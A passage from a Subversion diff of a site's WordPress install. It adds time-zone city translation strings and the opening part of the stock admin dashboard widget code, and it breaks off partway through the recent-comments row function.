+__('Samarkand', 'continents-cities');
+__('Seoul', 'continents-cities');
+__('Shanghai', 'continents-cities');
+__('Singapore', 'continents-cities');
+__('Taipei', 'continents-cities');
+__('Tashkent', 'continents-cities');
+__('Tbilisi', 'continents-cities');
+__('Tehran', 'continents-cities');
+__('Tel Aviv', 'continents-cities');
+__('Thimbu', 'continents-cities');
+__('Thimphu', 'continents-cities');
+__('Tokyo', 'continents-cities');
+__('Ujung Pandang', 'continents-cities');
+__('Ulaanbaatar', 'continents-cities');
+__('Ulan Bator', 'continents-cities');
+__('Urumqi', 'continents-cities');
+__('Vientiane', 'continents-cities');
+__('Vladivostok', 'continents-cities');
+__('Yakutsk', 'continents-cities');
+__('Yekaterinburg', 'continents-cities');
+__('Yerevan', 'continents-cities');
+__('Atlantic', 'continents-cities');
+__('Azores', 'continents-cities');
+__('Bermuda', 'continents-cities');
+__('Canary', 'continents-cities');
+__('Cape Verde', 'continents-cities');
+__('Faeroe', 'continents-cities');
+__('Faroe', 'continents-cities');
+__('Jan Mayen', 'continents-cities');
+__('Madeira', 'continents-cities');
+__('Reykjavik', 'continents-cities');
+__('South Georgia', 'continents-cities');
+__('St Helena', 'continents-cities');
+__('Stanley', 'continents-cities');
+__('Australia', 'continents-cities');
+__('ACT', 'continents-cities');
+__('Adelaide', 'continents-cities');
+__('Brisbane', 'continents-cities');
+__('Broken Hill', 'continents-cities');
+__('Canberra', 'continents-cities');
+__('Currie', 'continents-cities');
+__('Darwin', 'continents-cities');
+__('Eucla', 'continents-cities');
+__('Hobart', 'continents-cities');
+__('LHI', 'continents-cities');
+__('Lindeman', 'continents-cities');
+__('Lord Howe', 'continents-cities');
+__('Melbourne', 'continents-cities');
+__('North', 'continents-cities');
+__('NSW', 'continents-cities');
+__('Perth', 'continents-cities');
+__('Queensland', 'continents-cities');
+__('South', 'continents-cities');
+__('Sydney', 'continents-cities');
+__('Tasmania', 'continents-cities');
+__('Victoria', 'continents-cities');
+__('West', 'continents-cities');
+__('Yancowinna', 'continents-cities');
+__('Etc', 'continents-cities');
+__('GMT', 'continents-cities');
+__('GMT+0', 'continents-cities');
+__('GMT+1', 'continents-cities');
+__('GMT+10', 'continents-cities');
+__('GMT+11', 'continents-cities');
+__('GMT+12', 'continents-cities');
+__('GMT+2', 'continents-cities');
+__('GMT+3', 'continents-cities');
+__('GMT+4', 'continents-cities');
+__('GMT+5', 'continents-cities');
+__('GMT+6', 'continents-cities');
+__('GMT+7', 'continents-cities');
+__('GMT+8', 'continents-cities');
+__('GMT+9', 'continents-cities');
+__('GMT-0', 'continents-cities');
+__('GMT-1', 'continents-cities');
+__('GMT-10', 'continents-cities');
+__('GMT-11', 'continents-cities');
+__('GMT-12', 'continents-cities');
+__('GMT-13', 'continents-cities');
+__('GMT-14', 'continents-cities');
+__('GMT-2', 'continents-cities');
+__('GMT-3', 'continents-cities');
+__('GMT-4', 'continents-cities');
+__('GMT-5', 'continents-cities');
+__('GMT-6', 'continents-cities');
+__('GMT-7', 'continents-cities');
+__('GMT-8', 'continents-cities');
+__('GMT-9', 'continents-cities');
+__('GMT0', 'continents-cities');
+__('Greenwich', 'continents-cities');
+__('UCT', 'continents-cities');
+__('Universal', 'continents-cities');
+__('UTC', 'continents-cities');
+__('Zulu', 'continents-cities');
+__('Europe', 'continents-cities');
+__('Amsterdam', 'continents-cities');
+__('Andorra', 'continents-cities');
+__('Athens', 'continents-cities');
+__('Belfast', 'continents-cities');
+__('Belgrade', 'continents-cities');
+__('Berlin', 'continents-cities');
+__('Bratislava', 'continents-cities');
+__('Brussels', 'continents-cities');
+__('Bucharest', 'continents-cities');
+__('Budapest', 'continents-cities');
+__('Chisinau', 'continents-cities');
+__('Copenhagen', 'continents-cities');
+__('Dublin', 'continents-cities');
+__('Gibraltar', 'continents-cities');
+__('Guernsey', 'continents-cities');
+__('Helsinki', 'continents-cities');
+__('Isle of Man', 'continents-cities');
+__('Jersey', 'continents-cities');
+__('Kaliningrad', 'continents-cities');
+__('Kiev', 'continents-cities');
+__('Lisbon', 'continents-cities');
+__('Ljubljana', 'continents-cities');
+__('London', 'continents-cities');
+__('Luxembourg', 'continents-cities');
+__('Madrid', 'continents-cities');
+__('Malta', 'continents-cities');
+__('Mariehamn', 'continents-cities');
+__('Minsk', 'continents-cities');
+__('Monaco', 'continents-cities');
+__('Moscow', 'continents-cities');
+__('Oslo', 'continents-cities');
+__('Paris', 'continents-cities');
+__('Podgorica', 'continents-cities');
+__('Prague', 'continents-cities');
+__('Riga', 'continents-cities');
+__('Rome', 'continents-cities');
+__('Samara', 'continents-cities');
+__('San Marino', 'continents-cities');
+__('Sarajevo', 'continents-cities');
+__('Simferopol', 'continents-cities');
+__('Skopje', 'continents-cities');
+__('Sofia', 'continents-cities');
+__('Stockholm', 'continents-cities');
+__('Tallinn', 'continents-cities');
+__('Tirane', 'continents-cities');
+__('Tiraspol', 'continents-cities');
+__('Uzhgorod', 'continents-cities');
+__('Vaduz', 'continents-cities');
+__('Vatican', 'continents-cities');
+__('Vienna', 'continents-cities');
+__('Vilnius', 'continents-cities');
+__('Volgograd', 'continents-cities');
+__('Warsaw', 'continents-cities');
+__('Zagreb', 'continents-cities');
+__('Zaporozhye', 'continents-cities');
+__('Zurich', 'continents-cities');
+__('Indian', 'continents-cities');
+__('Antananarivo', 'continents-cities');
+__('Chagos', 'continents-cities');
+__('Christmas', 'continents-cities');
+__('Cocos', 'continents-cities');
+__('Comoro', 'continents-cities');
+__('Kerguelen', 'continents-cities');
+__('Mahe', 'continents-cities');
+__('Maldives', 'continents-cities');
+__('Mauritius', 'continents-cities');
+__('Mayotte', 'continents-cities');
+__('Reunion', 'continents-cities');
+__('Pacific', 'continents-cities');
+__('Apia', 'continents-cities');
+__('Auckland', 'continents-cities');
+__('Chatham', 'continents-cities');
+__('Easter', 'continents-cities');
+__('Efate', 'continents-cities');
+__('Enderbury', 'continents-cities');
+__('Fakaofo', 'continents-cities');
+__('Fiji', 'continents-cities');
+__('Funafuti', 'continents-cities');
+__('Galapagos', 'continents-cities');
+__('Gambier', 'continents-cities');
+__('Guadalcanal', 'continents-cities');
+__('Guam', 'continents-cities');
+__('Honolulu', 'continents-cities');
+__('Johnston', 'continents-cities');
+__('Kiritimati', 'continents-cities');
+__('Kosrae', 'continents-cities');
+__('Kwajalein', 'continents-cities');
+__('Majuro', 'continents-cities');
+__('Marquesas', 'continents-cities');
+__('Midway', 'continents-cities');
+__('Nauru', 'continents-cities');
+__('Niue', 'continents-cities');
+__('Norfolk', 'continents-cities');
+__('Noumea', 'continents-cities');
+__('Pago Pago', 'continents-cities');
+__('Palau', 'continents-cities');
+__('Pitcairn', 'continents-cities');
+__('Ponape', 'continents-cities');
+__('Port Moresby', 'continents-cities');
+__('Rarotonga', 'continents-cities');
+__('Saipan', 'continents-cities');
+__('Samoa', 'continents-cities');
+__('Tahiti', 'continents-cities');
+__('Tarawa', 'continents-cities');
+__('Tongatapu', 'continents-cities');
+__('Truk', 'continents-cities');
+__('Wake', 'continents-cities');
+__('Wallis', 'continents-cities');
+__('Yap', 'continents-cities');
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/dashboard.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/dashboard.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/dashboard.php	(revision 44)
@@ -0,0 +1,937 @@
+<?php
+/**
+ * WordPress Dashboard Widget Administration Panel API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Registers dashboard widgets.
+ *
+ * handles POST data, sets up filters.
+ *
+ * @since unknown
+ */
+function wp_dashboard_setup() {
+	global $wp_registered_widgets, $wp_registered_widget_controls, $wp_dashboard_control_callbacks;
+	$wp_dashboard_control_callbacks = array();
+
+	$update = false;
+	$widget_options = get_option( 'dashboard_widget_options' );
+	if ( !$widget_options || !is_array($widget_options) )
+		$widget_options = array();
+
+	/* Register Widgets and Controls */
+
+	// Right Now
+	wp_add_dashboard_widget( 'dashboard_right_now', __( 'Right Now' ), 'wp_dashboard_right_now' );
+
+	// Recent Comments Widget
+	$recent_comments_title = __( 'Recent Comments' );
+	wp_add_dashboard_widget( 'dashboard_recent_comments', $recent_comments_title, 'wp_dashboard_recent_comments' );
+
+	// Incoming Links Widget
+	if ( !isset( $widget_options['dashboard_incoming_links'] ) || !isset( $widget_options['dashboard_incoming_links']['home'] ) || $widget_options['dashboard_incoming_links']['home'] != get_option('home') ) {
+		$update = true;
+		$widget_options['dashboard_incoming_links'] = array(
+			'home' => get_option('home'),
+			'link' => apply_filters( 'dashboard_incoming_links_link', 'http://blogsearch.google.com/blogsearch?hl=en&scoring=d&partner=wordpress&q=link:' . trailingslashit( get_option('home') ) ),
+			'url' => isset($widget_options['dashboard_incoming_links']['url']) ? apply_filters( 'dashboard_incoming_links_feed', $widget_options['dashboard_incoming_links']['url'] ) : apply_filters( 'dashboard_incoming_links_feed', 'http://blogsearch.google.com/blogsearch_feeds?hl=en&scoring=d&ie=utf-8&num=20&output=rss&partner=wordpress&q=link:' . trailingslashit( get_option('home') ) ),
+			'items' => isset($widget_options['dashboard_incoming_links']['items']) ? $widget_options['dashboard_incoming_links']['items'] : 10,
+			'show_date' => isset($widget_options['dashboard_incoming_links']['show_date']) ? $widget_options['dashboard_incoming_links']['show_date'] : false
+		);
+	}
+	wp_add_dashboard_widget( 'dashboard_incoming_links', __( 'Incoming Links' ), 'wp_dashboard_incoming_links', 'wp_dashboard_incoming_links_control' );
+
+	// WP Plugins Widget
+	if ( current_user_can( 'activate_plugins' ) )
+		wp_add_dashboard_widget( 'dashboard_plugins', __( 'Plugins' ), 'wp_dashboard_plugins' );
+
+	// QuickPress Widget
+	if ( current_user_can('edit_posts') )
+		wp_add_dashboard_widget( 'dashboard_quick_press', __( 'QuickPress' ), 'wp_dashboard_quick_press' );
+
+	// Recent Drafts
+	if ( current_user_can('edit_posts') )
+		wp_add_dashboard_widget( 'dashboard_recent_drafts', __('Recent Drafts'), 'wp_dashboard_recent_drafts' );
+
+	// Primary feed (Dev Blog) Widget
+	if ( !isset( $widget_options['dashboard_primary'] ) ) {
+		$update = true;
+		$widget_options['dashboard_primary'] = array(
+			'link' => apply_filters( 'dashboard_primary_link',  __( 'http://wordpress.org/development/' ) ),
+			'url' => apply_filters( 'dashboard_primary_feed',  __( 'http://wordpress.org/development/feed/' ) ),
+			'title' => apply_filters( 'dashboard_primary_title', __( 'WordPress Development Blog' ) ),
+			'items' => 2,
+			'show_summary' => 1,
+			'show_author' => 0,
+			'show_date' => 1
+		);
+	}
+	wp_add_dashboard_widget( 'dashboard_primary', $widget_options['dashboard_primary']['title'], 'wp_dashboard_primary', 'wp_dashboard_primary_control' );
+
+	// Secondary Feed (Planet) Widget
+	if ( !isset( $widget_options['dashboard_secondary'] ) ) {
+		$update = true;
+		$widget_options['dashboard_secondary'] = array(
+			'link' => apply_filters( 'dashboard_secondary_link',  __( 'http://planet.wordpress.org/' ) ),
+			'url' => apply_filters( 'dashboard_secondary_feed',  __( 'http://planet.wordpress.org/feed/' ) ),
+			'title' => apply_filters( 'dashboard_secondary_title', __( 'Other WordPress News' ) ),
+			'items' => 5
+		);
+	}
+	wp_add_dashboard_widget( 'dashboard_secondary', $widget_options['dashboard_secondary']['title'], 'wp_dashboard_secondary', 'wp_dashboard_secondary_control' );
+
+	// Hook to register new widgets
+	do_action( 'wp_dashboard_setup' );
+
+	// Filter widget order
+	$dashboard_widgets = apply_filters( 'wp_dashboard_widgets', array() );
+
+	foreach ( $dashboard_widgets as $widget_id ) {
+		$name = empty( $wp_registered_widgets[$widget_id]['all_link'] ) ? $wp_registered_widgets[$widget_id]['name'] : $wp_registered_widgets[$widget_id]['name'] . " <a href='{$wp_registered_widgets[$widget_id]['all_link']}' class='edit-box open-box'>" . __('View all') . '</a>';
+		wp_add_dashboard_widget( $widget_id, $name, $wp_registered_widgets[$widget_id]['callback'], $wp_registered_widget_controls[$widget_id]['callback'] );
+	}
+
+	if ( 'POST' == $_SERVER['REQUEST_METHOD'] && isset($_POST['widget_id']) ) {
+		ob_start(); // hack - but the same hack wp-admin/widgets.php uses
+		wp_dashboard_trigger_widget_control( $_POST['widget_id'] );
+		ob_end_clean();
+		wp_redirect( remove_query_arg( 'edit' ) );
+		exit;
+	}
+
+	if ( $update )
+		update_option( 'dashboard_widget_options', $widget_options );
+
+	do_action('do_meta_boxes', 'dashboard', 'normal', '');
+	do_action('do_meta_boxes', 'dashboard', 'side', '');
+}
+
+function wp_add_dashboard_widget( $widget_id, $widget_name, $callback, $control_callback = null ) {
+	global $wp_dashboard_control_callbacks;
+	if ( $control_callback && current_user_can( 'edit_dashboard' ) && is_callable( $control_callback ) ) {
+		$wp_dashboard_control_callbacks[$widget_id] = $control_callback;
+		if ( isset( $_GET['edit'] ) && $widget_id == $_GET['edit'] ) {
+			list($url) = explode( '#', add_query_arg( 'edit', false ), 2 );
+			$widget_name .= ' <span class="postbox-title-action"><a href="' . esc_url( $url ) . '">' . __( 'Cancel' ) . '</a></span>';
+			add_meta_box( $widget_id, $widget_name, '_wp_dashboard_control_callback', 'dashboard', 'normal', 'core' );
+			return;
+		}
+		list($url) = explode( '#', add_query_arg( 'edit', $widget_id ), 2 );
+		$widget_name .= ' <span class="postbox-title-action"><a href="' . esc_url( "$url#$widget_id" ) . '" class="edit-box open-box">' . __( 'Configure' ) . '</a></span>';
+	}
+	$side_widgets = array('dashboard_quick_press', 'dashboard_recent_drafts', 'dashboard_primary', 'dashboard_secondary');
+	$location = 'normal';
+	if ( in_array($widget_id, $side_widgets) )
+		$location = 'side';
+	add_meta_box( $widget_id, $widget_name , $callback, 'dashboard', $location, 'core' );
+}
+
+function _wp_dashboard_control_callback( $dashboard, $meta_box ) {
+	echo '<form action="" method="post" class="dashboard-widget-control-form">';
+	wp_dashboard_trigger_widget_control( $meta_box['id'] );
+	echo "<p class='submit'><input type='hidden' name='widget_id' value='" . esc_attr($meta_box['id']) . "' /><input type='submit' value='" . esc_attr__( 'Submit' ) . "' /></p>";
+
+	echo '</form>';
+}
+
+/**
+ * Displays the dashboard.
+ *
+ * @since unknown
+ */
+function wp_dashboard() {
+	global $screen_layout_columns;
+
+	$hide2 = $hide3 = $hide4 = '';
+	switch ( $screen_layout_columns ) {
+		case 4:
+			$width = 'width:24.5%;';
+			break;
+		case 3:
+			$width = 'width:32.67%;';
+			$hide4 = 'display:none;';
+			break;
+		case 2:
+			$width = 'width:49%;';
+			$hide3 = $hide4 = 'display:none;';
+			break;
+		default:
+			$width = 'width:98%;';
+			$hide2 = $hide3 = $hide4 = 'display:none;';
+	}
+?>
+<div id='dashboard-widgets' class='metabox-holder'>
+<?php
+	echo "\t<div class='postbox-container' style='$width'>\n";
+	do_meta_boxes( 'dashboard', 'normal', '' );
+
+	echo "\t</div><div class='postbox-container' style='{$hide2}$width'>\n";
+	do_meta_boxes( 'dashboard', 'side', '' );
+
+	echo "\t</div><div class='postbox-container' style='{$hide3}$width'>\n";
+	do_meta_boxes( 'dashboard', 'column3', '' );
+
+	echo "\t</div><div class='postbox-container' style='{$hide4}$width'>\n";
+	do_meta_boxes( 'dashboard', 'column4', '' );
+?>
+</div></div>
+
+<form style='display: none' method='get' action=''>
+	<p>
+<?php
+	wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
+	wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
+?>
+	</p>
+</form>
+
+<?php
+}
+
+/* Dashboard Widgets */
+
+function wp_dashboard_right_now() {
+	global $wp_registered_sidebars;
+
+	$num_posts = wp_count_posts( 'post' );
+	$num_pages = wp_count_posts( 'page' );
+
+	$num_cats  = wp_count_terms('category');
+
+	$num_tags = wp_count_terms('post_tag');
+
+	$num_comm = wp_count_comments( );
+
+	echo "\n\t".'<p class="sub">' . __('At a Glance') . '</p>';
+	echo "\n\t".'<div class="table">'."\n\t".'<table>';
+	echo "\n\t".'<tr class="first">';
+
+	// Posts
+	$num = number_format_i18n( $num_posts->publish );
+	$text = _n( 'Post', 'Posts', intval($num_posts->publish) );
+	if ( current_user_can( 'edit_posts' ) ) {
+		$num = "<a href='edit.php'>$num</a>";
+		$text = "<a href='edit.php'>$text</a>";
+	}
+	echo '<td class="first b b-posts">' . $num . '</td>';
+	echo '<td class="t posts">' . $text . '</td>';
+	/* TODO: Show status breakdown on hover
+	if ( $can_edit_pages && !empty($num_pages->publish) ) { // how many pages is not exposed in feeds.  Don't show if !current_user_can
+		$post_type_texts[] = '<a href="edit-pages.php">'.sprintf( _n( '%s page', '%s pages', $num_pages->publish ), number_format_i18n( $num_pages->publish ) ).'</a>';
+	}
+	if ( $can_edit_posts && !empty($num_posts->draft) ) {
+		$post_type_texts[] = '<a href="edit.php?post_status=draft">'.sprintf( _n( '%s draft', '%s drafts', $num_posts->draft ), number_format_i18n( $num_posts->draft ) ).'</a>';
+	}
+	if ( $can_edit_posts && !empty($num_posts->future) ) {
+		$post_type_texts[] = '<a href="edit.php?post_status=future">'.sprintf( _n( '%s scheduled post', '%s scheduled posts', $num_posts->future ), number_format_i18n( $num_posts->future ) ).'</a>';
+	}
+	if ( current_user_can('publish_posts') && !empty($num_posts->pending) ) {
+		$pending_text = sprintf( _n( 'There is <a href="%1$s">%2$s post</a> pending your review.', 'There are <a href="%1$s">%2$s posts</a> pending your review.', $num_posts->pending ), 'edit.php?post_status=pending', number_format_i18n( $num_posts->pending ) );
+	} else {
+		$pending_text = '';
+	}
+	*/
+
+	// Total Comments
+	$num = number_format_i18n($num_comm->total_comments);
+	$text = _n( 'Comment', 'Comments', $num_comm->total_comments );
+	if ( current_user_can( 'moderate_comments' ) ) {
+		$num = "<a href='edit-comments.php'>$num</a>";
+		$text = "<a href='edit-comments.php'>$text</a>";
+	}
+	echo '<td class="b b-comments">' . $num . '</td>';
+	echo '<td class="last t comments">' . $text . '</td>';
+
+	echo '</tr><tr>';
+
+	// Pages
+	$num = number_format_i18n( $num_pages->publish );
+	$text = _n( 'Page', 'Pages', $num_pages->publish );
+	if ( current_user_can( 'edit_pages' ) ) {
+		$num = "<a href='edit-pages.php'>$num</a>";
+		$text = "<a href='edit-pages.php'>$text</a>";
+	}
+	echo '<td class="first b b_pages">' . $num . '</td>';
+	echo '<td class="t pages">' . $text . '</td>';
+
+	// Approved Comments
+	$num = number_format_i18n($num_comm->approved);
+	$text = _nc( 'Approved|Right Now', 'Approved', $num_comm->approved );
+	if ( current_user_can( 'moderate_comments' ) ) {
+		$num = "<a href='edit-comments.php?comment_status=approved'>$num</a>";
+		$text = "<a class='approved' href='edit-comments.php?comment_status=approved'>$text</a>";
+	}
+	echo '<td class="b b_approved">' . $num . '</td>';
+	echo '<td class="last t">' . $text . '</td>';
+
+	echo "</tr>\n\t<tr>";
+
+	// Categories
+	$num = number_format_i18n( $num_cats );
+	$text = _n( 'Category', 'Categories', $num_cats );
+	if ( current_user_can( 'manage_categories' ) ) {
+		$num = "<a href='categories.php'>$num</a>";
+		$text = "<a href='categories.php'>$text</a>";
+	}
+	echo '<td class="first b b-cats">' . $num . '</td>';
+	echo '<td class="t cats">' . $text . '</td>';
+
+	// Pending Comments
+	$num = number_format_i18n($num_comm->moderated);
+	$text = _n( 'Pending', 'Pending', $num_comm->moderated );
+	if ( current_user_can( 'moderate_comments' ) ) {
+		$num = "<a href='edit-comments.php?comment_status=moderated'><span class='pending-count'>$num</span></a>";
+		$text = "<a class='waiting' href='edit-comments.php?comment_status=moderated'>$text</a>";
+	}
+	echo '<td class="b b-waiting">' . $num . '</td>';
+	echo '<td class="last t">' . $text . '</td>';
+
+	echo "</tr>\n\t<tr>";
+
+	// Tags
+	$num = number_format_i18n( $num_tags );
+	$text = _n( 'Tag', 'Tags', $num_tags );
+	if ( current_user_can( 'manage_categories' ) ) {
+		$num = "<a href='edit-tags.php'>$num</a>";
+		$text = "<a href='edit-tags.php'>$text</a>";
+	}
+	echo '<td class="first b b-tags">' . $num . '</td>';
+	echo '<td class="t tags">' . $text . '</td>';
+
+	// Spam Comments
+	$num = number_format_i18n($num_comm->spam);
+	$text = _n( 'Spam', 'Spam', $num_comm->spam );
+	if ( current_user_can( 'moderate_comments' ) ) {
+		$num = "<a href='edit-comments.php?comment_status=spam'><span class='spam-count'>$num</span></a>";
+		$text = "<a class='spam' href='edit-comments.php?comment_status=spam'>$text</a>";
+	}
+	echo '<td class="b b-spam">' . $num . '</td>';
+	echo '<td class="last t">' . $text . '</td>';
+
+	echo "</tr>";
+	do_action('right_now_table_end');
+	echo "\n\t</table>\n\t</div>";
+
+	echo "\n\t".'<div class="versions">';
+	$ct = current_theme_info();
+
+	echo "\n\t<p>";
+	if ( !empty($wp_registered_sidebars) ) {
+		$sidebars_widgets = wp_get_sidebars_widgets();
+		$num_widgets = 0;
+		foreach ( (array) $sidebars_widgets as $k => $v ) {
+			if ( 'wp_inactive_widgets' == $k )
+				continue;
+			if ( is_array($v) )
+				$num_widgets = $num_widgets + count($v);
+		}
+		$num = number_format_i18n( $num_widgets );
+
+		if ( current_user_can( 'switch_themes' ) ) {
+			echo '<a href="themes.php" class="button rbutton">' . __('Change Theme') . '</a>';
+			printf(_n('Theme <span class="b"><a href="themes.php">%1$s</a></span> with <span class="b"><a href="widgets.php">%2$s Widget</a></span>', 'Theme <span class="b"><a href="themes.php">%1$s</a></span> with <span class="b"><a href="widgets.php">%2$s Widgets</a></span>', $num_widgets), $ct->title, $num);
+		} else {
+			printf(_n('Theme <span class="b">%1$s</span> with <span class="b">%2$s Widget</span>', 'Theme <span class="b">%1$s</span> with <span class="b">%2$s Widgets</span>', $num_widgets), $ct->title, $num);
+		}
+	} else {
+		if ( current_user_can( 'switch_themes' ) ) {
+			echo '<a href="themes.php" class="button rbutton">' . __('Change Theme') . '</a>';
+			printf('Theme <span class="b"><a href="themes.php">%1$s</a></span>', $ct->title);
+		} else {
+			printf('Theme <span class="b">%1$s</span>', $ct->title);
+		}
+	}
+	echo '</p>';
+
+	update_right_now_message();
+
+	echo "\n\t".'<br class="clear" /></div>';
+	do_action( 'rightnow_end' );
+	do_action( 'activity_box_end' );
+}
+
+function wp_dashboard_quick_press() {
+	$drafts = false;
+	if ( 'post' === strtolower( $_SERVER['REQUEST_METHOD'] ) && isset( $_POST['action'] ) && 0 === strpos( $_POST['action'], 'post-quickpress' ) && (int) $_POST['post_ID'] ) {
+		$view = get_permalink( $_POST['post_ID'] );
+		$edit = esc_url( get_edit_post_link( $_POST['post_ID'] ) );
+		if ( 'post-quickpress-publish' == $_POST['action'] ) {
+			if ( current_user_can('publish_posts') )
+				printf( '<div class="message"><p>' . __( 'Post Published. <a href="%s">View post</a> | <a href="%s">Edit post</a>' ) . '</p></div>', esc_url( $view ), $edit );
+			else
+				printf( '<div class="message"><p>' . __( 'Post submitted. <a href="%s">Preview post</a> | <a href="%s">Edit post</a>' ) . '</p></div>', esc_url( add_query_arg( 'preview', 1, $view ) ), $edit );
+		} else {
+			printf( '<div class="message"><p>' . __( 'Draft Saved. <a href="%s">Preview post</a> | <a href="%s">Edit post</a>' ) . '</p></div>', esc_url( add_query_arg( 'preview', 1, $view ) ), $edit );
+			$drafts_query = new WP_Query( array(
+				'post_type' => 'post',
+				'post_status' => 'draft',
+				'author' => $GLOBALS['current_user']->ID,
+				'posts_per_page' => 1,
+				'orderby' => 'modified',
+				'order' => 'DESC'
+			) );
+
+			if ( $drafts_query->posts )
+				$drafts =& $drafts_query->posts;
+		}
+		printf('<p class="textright">' . __('You can also try %s, easy blogging from anywhere on the Web.') . '</p>', '<a href="tools.php">' . __('Press This') . '</a>' );
+		$_REQUEST = array(); // hack for get_default_post_to_edit()
+	}
+
+	$post = get_default_post_to_edit();
+?>
+
+	<form name="post" action="<?php echo esc_url( admin_url( 'post.php' ) ); ?>" method="post" id="quick-press">
+		<h4 id="quick-post-title"><label for="title"><?php _e('Title') ?></label></h4>
+		<div class="input-text-wrap">
+			<input type="text" name="post_title" id="title" tabindex="1" autocomplete="off" value="<?php echo esc_attr( $post->post_title ); ?>" />
+		</div>
+
+		<?php if ( current_user_can( 'upload_files' ) ) : ?>
+		<div id="media-buttons" class="hide-if-no-js">
+			<?php do_action( 'media_buttons' ); ?>
+		</div>
+		<?php endif; ?>
+
+		<h4 id="content-label"><label for="content"><?php _e('Content') ?></label></h4>
+		<div class="textarea-wrap">
+			<textarea name="content" id="content" class="mceEditor" rows="3" cols="15" tabindex="2"><?php echo $post->post_content; ?></textarea>
+		</div>
+
+		<script type="text/javascript">edCanvas = document.getElementById('content');edInsertContent = null;</script>
+
+		<h4><label for="tags-input"><?php _e('Tags') ?></label></h4>
+		<div class="input-text-wrap">
+			<input type="text" name="tags_input" id="tags-input" tabindex="3" value="<?php echo get_tags_to_edit( $post->ID ); ?>" />
+		</div>
+
+		<p class="submit">
+			<input type="hidden" name="action" id="quickpost-action" value="post-quickpress-save" />
+			<input type="hidden" name="quickpress_post_ID" value="<?php echo (int) $post->ID; ?>" />
+			<?php wp_nonce_field('add-post'); ?>
+			<input type="submit" name="save" id="save-post" class="button" tabindex="4" value="<?php esc_attr_e('Save Draft'); ?>" />
+			<input type="reset" value="<?php esc_attr_e( 'Reset' ); ?>" class="button" />
+			<?php if ( current_user_can('publish_posts') ) { ?>
+			<input type="submit" name="publish" id="publish" accesskey="p" tabindex="5" class="button-primary" value="<?php esc_attr_e('Publish'); ?>" />
+			<?php } else { ?>
+			<input type="submit" name="publish" id="publish" accesskey="p" tabindex="5" class="button-primary" value="<?php esc_attr_e('Submit for Review'); ?>" />
+			<?php } ?>
+			<br class="clear" />
+		</p>
+
+	</form>
+
+<?php
+	if ( $drafts )
+		wp_dashboard_recent_drafts( $drafts );
+}
+
+function wp_dashboard_recent_drafts( $drafts = false ) {
+	if ( !$drafts ) {
+		$drafts_query = new WP_Query( array(
+			'post_type' => 'post',
+			'post_status' => 'draft',
+			'author' => $GLOBALS['current_user']->ID,
+			'posts_per_page' => 5,
+			'orderby' => 'modified',
+			'order' => 'DESC'
+		) );
+		$drafts =& $drafts_query->posts;
+	}
+
+	if ( $drafts && is_array( $drafts ) ) {
+		$list = array();
+		foreach ( $drafts as $draft ) {
+			$url = get_edit_post_link( $draft->ID );
+			$title = _draft_or_post_title( $draft->ID );
+			$item = "<h4><a href='$url' title='" . sprintf( __( 'Edit &#8220;%s&#8221;' ), esc_attr( $title ) ) . "'>$title</a> <abbr title='" . get_the_time(__('Y/m/d g:i:s A'), $draft) . "'>" . get_the_time( get_option( 'date_format' ), $draft ) . '</abbr></h4>';
+			if ( $the_content = preg_split( '#\s#', strip_tags( $draft->post_content ), 11, PREG_SPLIT_NO_EMPTY ) )
+				$item .= '<p>' . join( ' ', array_slice( $the_content, 0, 10 ) ) . ( 10 < count( $the_content ) ? '&hellip;' : '' ) . '</p>';
+			$list[] = $item;
+		}
+?>
+	<ul>
+		<li><?php echo join( "</li>\n<li>", $list ); ?></li>
+	</ul>
+	<p class="textright"><a href="edit.php?post_status=draft" class="button"><?php _e('View all'); ?></a></p>
+<?php
+	} else {
+		_e('There are no drafts at the moment');
+	}
+}
+
+/**
+ * Display recent comments dashboard widget content.
+ *
+ * @since unknown
+ */
+function wp_dashboard_recent_comments() {
+	global $wpdb;
+
+	if ( current_user_can('edit_posts') )
+		$allowed_states = array('0', '1');
+	else
+		$allowed_states = array('1');
+
+	// Select all comment types and filter out spam later for better query performance.
+	$comments = array();
+	$start = 0;
+
+	while ( count( $comments ) < 5 && $possible = $wpdb->get_results( "SELECT * FROM $wpdb->comments ORDER BY comment_date_gmt DESC LIMIT $start, 50" ) ) {
+
+		foreach ( $possible as $comment ) {
+			if ( count( $comments ) >= 5 )
+				break;
+			if ( in_array( $comment->comment_approved, $allowed_states ) )
+				$comments[] = $comment;
+		}
+
+		$start = $start + 50;
+	}
+
+	if ( $comments ) :
+?>
+
+		<div id="the-comment-list" class="list:comment">
+<?php
+		foreach ( $comments as $comment )
+			_wp_dashboard_recent_comments_row( $comment );
+?>
+
+		</div>
+
+<?php
+		if ( current_user_can('edit_posts') ) { ?>
+			<p class="textright"><a href="edit-comments.php" class="button"><?php _e('View all'); ?></a></p>
+<?php	}
+
+		wp_comment_reply( -1, false, 'dashboard', false );
+
+	else :
+?>
+
+	<p><?php _e( 'No comments yet.' ); ?></p>
+
+<?php
+	endif; // $comments;
+}
+
+function _wp_dashboard_recent_comments_row( &$comment, $show_date = true ) {
+	$GLOBALS['comment'] =& $comment;
+
+	$comment_post_url = get_edit_post_link( $comment->comment_post_ID );
+	$comment_post_title = strip_tags(get_the_title( $comment->comment_post_ID ));
+	$comment_post_link = "<a href='$comment_post_url'>$comment_post_title</a>";
+	$comment_link = '<a class="comment-link" href="' . esc_url(get_comment_link()) . '">#</a>';
+
+	$delete_url = esc_url( wp_nonce_url( "comment.php?action=deletecomment&p=$comment->comment_post_ID&c=$comment->comment_ID", "delete-comment_$comment->comment_ID" ) );
+	$approve_url = esc_url( wp_nonce_url( "comment.php?action=approvecomment&p=$comment->comment_post_ID&c=$comment->comment_ID", "approve-comment_$comment->comment_ID" ) );
+	$unapprove_url = esc_url( wp_nonce_url( "comment.php?action=unapprovecomment&p=$comment->comment_post_ID&c=$comment->comment_ID", "unapprove-comment_$comment->comment_ID" ) );
+	$spam_url = esc_url( wp_nonce_url( "comment.php?action=deletecomment&dt=spam&p=$comment->comment_post_ID&c=$comment->comment_ID", "delete-comment_$comment->comment_ID" ) );
+
+	$actions = array();
+
+	$actions_string = '';
+	if ( current_user_can('edit_post', $comment->comment_post_ID) ) {
